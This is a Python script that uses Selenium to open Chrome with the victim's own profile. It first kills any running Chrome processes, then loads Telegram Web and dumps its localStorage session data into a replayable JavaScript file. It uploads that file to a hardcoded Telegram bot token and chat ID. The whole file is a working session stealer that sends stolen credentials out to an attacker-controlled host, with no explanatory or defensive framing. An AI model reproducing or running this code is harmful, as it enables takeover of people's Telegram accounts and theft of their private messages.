| from selenium import webdriver
|
| from selenium.webdriver.common.by import By
|
| from selenium.webdriver.common.keys import Keys
|
| import time
|
| import os
|
| from selenium.webdriver.chrome.service import Service
|
| import http.client
|
| import json
|
|
|
| username = os.getlogin()
|
|
|
| os.system("taskkill /f /im chrome.exe /t")
|
|
|
| user_data_dir = f"C:\\Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data"
|
|
|
|
|
| chrome_driver_path = fr"C:\Users\{username}\chromedriver.exe"
|
|
|
|
|
| service = Service(chrome_driver_path)
|
|
|
|
|
| options = webdriver.ChromeOptions()
|
|
|
| options.add_argument(f"user-data-dir={user_data_dir}")
|
|
|
| driver = webdriver.Chrome(service=service, options=options)
|
|
|
| try:
|
|
|
| driver.get("https://web.telegram.org/")
|
| time.sleep(5)
|
|
|
|
|
| local_storage = driver.execute_script("return window.localStorage;")
|
|
|
|
|
| js_script = "window.localStorage.clear();\n"
|
| for key, value in local_storage.items():
|
| js_script += f'window.localStorage.setItem("{key}", "{value}");\n'
|
|
|
|
|
| print(js_script)
|
|
|
|
|
| with open("tgfile.txt", "w", encoding="utf-8") as file:
|
| file.write(js_script)
|
|
|
|
|
| def send_file_to_telegram(token, chat_id, file_path):
|
|
|
| boundary = '----WebKitFormBoundary7MA4YWxkTrZu0gW'
|
|
|
|
|
| with open(file_path, "rb") as file:
|
| file_content = file.read()
|
|
|
|
|
| body = (
|
| f'--{boundary}\r\n'
|
| f'Content-Disposition: form-data; name="chat_id"\r\n\r\n'
|
| f'{chat_id}\r\n'
|
| f'--{boundary}\r\n'
|
| f'Content-Disposition: form-data; name="document"; filename="{os.path.basename(file_path)}"\r\n'
|
| f'Content-Type: text/plain\r\n\r\n'
|
| ).encode('utf-8') + file_content + f'\r\n--{boundary}--\r\n'.encode('utf-8')
|
|
|
|
|
| headers = {
|
| 'Content-Type': f'multipart/form-data; boundary={boundary}',
|
| }
|
|
|
|
|
| conn = http.client.HTTPSConnection("api.telegram.org")
|
| conn.request("POST", f"/bot{token}/sendDocument", body, headers)
|
| response = conn.getresponse()
|
| print(response.status, response.reason)
|
| data = response.read()
|
| print(data.decode("utf-8"))
|
| conn.close()
|
|
|
|
|
| token = "8156619741:AAGbPEy3c6YCe_s0A9cc1toOTu6CYeQZf_4"
|
| chat_id = "844252502"
|
| send_file_to_telegram(token, chat_id, "tgfile.txt")
|
|
|
| finally:
|
|
|
| driver.quit() |